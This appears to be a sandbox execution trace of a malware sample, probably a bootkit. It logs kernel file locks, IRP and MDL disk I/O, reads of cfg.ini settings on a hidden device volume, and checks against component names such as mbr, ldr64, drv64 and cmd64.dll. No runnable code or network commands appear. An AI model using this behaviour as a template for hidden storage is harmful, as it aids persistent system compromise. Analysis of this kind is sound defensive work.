0xfffffa8003baf190 [0127.111] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.111] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.111] IdePortDispatch () returned 0x103 [0127.111] KeWaitForMutexObject () returned 0x0 [0127.111] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.111] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.111] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.111] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.111] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.111] IdePortDispatch () returned 0x103 [0127.112] KeWaitForMutexObject () returned 0x0 [0127.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.112] KeLeaveCriticalRegion () [0127.112] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.112] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.112] KeEnterCriticalRegion () [0127.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.112] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.112] KeLeaveCriticalRegion () [0127.112] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.112] KeEnterCriticalRegion () [0127.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.112] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.112] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf52e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.112] KeLeaveCriticalRegion () [0127.112] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.112] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.112] KeEnterCriticalRegion () [0127.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.112] ExFreePoolWithTag (P=0xfffffa8003bf50c0, Tag=0x0) [0127.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.113] KeLeaveCriticalRegion () [0127.113] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.113] ReleaseMutex (hMutex=0xf0) returned 1 [0127.113] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.113] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.113] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.113] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.113] KeEnterCriticalRegion () [0127.113] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.113] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.113] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.113] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.113] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.113] IdePortDispatch () returned 0x103 [0127.113] KeWaitForMutexObject () returned 0x0 [0127.113] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.113] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.113] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.113] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.113] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.113] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.113] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.113] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.113] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.113] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.113] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.113] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.113] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.113] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.113] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.113] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.113] KeLeaveCriticalRegion () [0127.113] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.113] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.113] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.113] KeEnterCriticalRegion () [0127.113] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.113] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.114] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.114] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.114] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.114] IdePortDispatch () returned 0x103 [0127.114] KeWaitForMutexObject () returned 0x0 [0127.114] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.114] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.114] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.114] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.114] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.114] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.114] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.114] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.114] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.114] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.114] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.114] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.114] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.114] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.114] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.114] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.114] KeLeaveCriticalRegion () [0127.114] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.114] ReleaseMutex (hMutex=0x100) returned 1 [0127.114] Sleep (dwMilliseconds=0x2bf20) [0127.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ef7bcb0, dwHighDateTime=0x1d24fa4)) [0127.121] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.121] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.121] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.121] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.121] KeEnterCriticalRegion () [0127.121] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.121] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.121] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.121] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.121] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.121] IdePortDispatch () returned 0x103 [0127.121] KeWaitForMutexObject () returned 0x0 [0127.121] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.121] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.121] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.121] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.121] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.121] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7aa0 [0127.121] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.121] KeLeaveCriticalRegion () [0127.121] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.121] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.121] KeEnterCriticalRegion () [0127.121] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.121] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.121] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.121] KeLeaveCriticalRegion () [0127.121] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.121] KeEnterCriticalRegion () [0127.121] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.121] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.121] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.121] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.121] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.121] IdePortDispatch () returned 0x103 [0127.122] KeWaitForMutexObject () returned 0x0 [0127.122] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.122] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.122] KeLeaveCriticalRegion () [0127.122] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.122] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.122] KeEnterCriticalRegion () [0127.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.122] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b87000 [0127.122] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.122] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.122] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.122] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.122] IdePortDispatch () returned 0x103 [0127.122] KeWaitForMutexObject () returned 0x0 [0127.122] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.122] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.122] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.122] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.122] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.122] IdePortDispatch () returned 0x103 [0127.123] KeWaitForMutexObject () returned 0x0 [0127.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.123] KeLeaveCriticalRegion () [0127.123] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.123] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.123] KeEnterCriticalRegion () [0127.123] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.123] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.123] KeLeaveCriticalRegion () [0127.123] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.123] KeEnterCriticalRegion () [0127.123] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.123] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.123] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf52e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.123] KeLeaveCriticalRegion () [0127.123] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.123] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.123] KeEnterCriticalRegion () [0127.123] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.123] ExFreePoolWithTag (P=0xfffffa800c4f7aa0, Tag=0x0) [0127.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.123] KeLeaveCriticalRegion () [0127.123] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.123] ReleaseMutex (hMutex=0xf0) returned 1 [0127.123] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.123] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.124] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.124] KeEnterCriticalRegion () [0127.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.124] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.124] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.124] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.124] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.124] IdePortDispatch () returned 0x103 [0127.124] KeWaitForMutexObject () returned 0x0 [0127.124] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.124] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.124] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.124] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.124] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.124] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037da8b0 [0127.124] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.124] KeLeaveCriticalRegion () [0127.124] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.124] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.124] KeEnterCriticalRegion () [0127.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.124] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.124] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.124] KeLeaveCriticalRegion () [0127.124] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.124] KeEnterCriticalRegion () [0127.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.124] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.124] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.124] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.124] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.124] IdePortDispatch () returned 0x103 [0127.125] KeWaitForMutexObject () returned 0x0 [0127.125] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.125] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.125] KeLeaveCriticalRegion () [0127.125] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.125] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.125] KeEnterCriticalRegion () [0127.125] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.125] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b88000 [0127.125] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.125] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.125] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.125] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.125] IdePortDispatch () returned 0x103 [0127.125] KeWaitForMutexObject () returned 0x0 [0127.125] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.125] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.125] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.125] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.125] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.125] IdePortDispatch () returned 0x103 [0127.125] KeWaitForMutexObject () returned 0x0 [0127.125] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.125] KeLeaveCriticalRegion () [0127.125] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.126] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.126] KeEnterCriticalRegion () [0127.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.126] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.126] KeLeaveCriticalRegion () [0127.126] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.126] KeEnterCriticalRegion () [0127.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.126] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.126] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7770, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.126] KeLeaveCriticalRegion () [0127.126] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.126] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.126] KeEnterCriticalRegion () [0127.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.126] ExFreePoolWithTag (P=0xfffffa80037da8b0, Tag=0x0) [0127.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.126] KeLeaveCriticalRegion () [0127.126] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.126] ReleaseMutex (hMutex=0xf0) returned 1 [0127.126] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.126] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.126] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.126] KeEnterCriticalRegion () [0127.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.126] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.126] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.126] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.126] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.126] IdePortDispatch () returned 0x103 [0127.127] KeWaitForMutexObject () returned 0x0 [0127.127] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.127] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.127] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 